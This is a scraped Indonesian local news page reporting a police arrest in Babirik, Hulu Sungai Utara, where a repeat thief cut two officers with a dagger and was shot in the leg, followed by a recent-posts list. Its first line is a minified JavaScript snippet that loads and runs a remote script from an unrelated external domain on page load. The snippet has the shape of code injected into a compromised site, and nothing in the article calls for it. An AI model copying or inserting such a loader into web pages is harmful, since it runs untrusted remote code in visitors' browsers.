(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL HSU

Lukai 2 Polisi, Pencuri Resahkan Warga Babirik Akhirnya Didor!


KANALKALIMANTAN.COM, AMUNTAI – Seorang pencuri di Kecamatan Babirik, Kabupaten Hulu Sungai Utara (HSU), harus merasakan timah panas di bagian kaki karena berusaha melawan dan melarikan diri. Pelaku ibernama Tony (48) yang juga seorang residivis itu, kini sudah mendekam di jeruji besi.

Sebelumnya, Tony sempat melakukan perlawanan menggunakan senjata tajam jenis pisau belati saat hendak ditangkap. Ia pun sempat melukai dua orang anggota polisi yakni Aipda Parmanto yang mengalami luka sayat di bagian tangan sebelah kiri dan luka sayat dibagian hidung, serta Bripda Hendra mengalami luka tusuk di jari kelingking kaki kanan.

“Anggota kita sempat mendapat perawatan dan mendapat 10 jahitan atas nama Aipda Parmanto karena mengalami luka sayat 7 cm dalam 1,5 cm. Namun rawat jalan atau pulang rumah,” ungkap Kapolres HSU melalui Kasat Reskrim Iptu Kamarudin, kepada kanalkalimantan.com, Rabu (1/4/2020).


Menurut keterangan Kasat Reskrim Iptu Kamarudin, penangkapan terhadap Tony dilatarbelakangi laporan korban yang mengalami pencurian di Desa Murung Panti Hilir, RT 3, Kecamatan Babirik, satu tahun silam. Tepatnya tanggal 7 Januari 2019.

Hasilnya pada Rabu (1/4/2020) sekitar pukul 10.00 Wita, di kawasan Desa Sungai Luang Hilir, usai mendapat informasi warga tentang keberadaan terduga pelaku pencurian tersebut, Unit Jatanras Polres HSU bersama unit Reskrim Polsek Babirik merespon cepat dengan melakukan penangkapan terhadap Tony.

“Bahkan pelaku menurut informasi warga Desa Sungai Luang Hilir sering meresahkan dan kerap memalak (memeras) warga menggunakan senjata tajam. Warga merasa ketakutan atas keberadaannya di kampung,” ujar Kamarudin.

Sementara usai menangkap pelaku, kedua korban petugas beserta pelaku dan barang bukti senjata tajam jenis pisau belati sepanjang kurang lebih 30 cm diamankan dipolres HSU sekaligus diberikan tindakan medis di RSUD Pambalah Batung Amuntai.
Pelaku sendiri bakal dijerat pasal berlapis yakni tindak pidana pencurian dengan pemberatan dan melawan petugas kepolisian yang sedang bertugas dengan menggunakan senjata tajam mengakibatkan luka berat. Sebagaimana dimaksud dalam pasal 363 ayat 1 ke 3 KUHP dan pasal 2 ayat 1 UU no.12 darurat Tahun 1951 dan pasal 213 ayat 2 KUHP.(Kanalkalimantan.com/dew)

 

Reporter : Dew
Editor : Cell

 


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.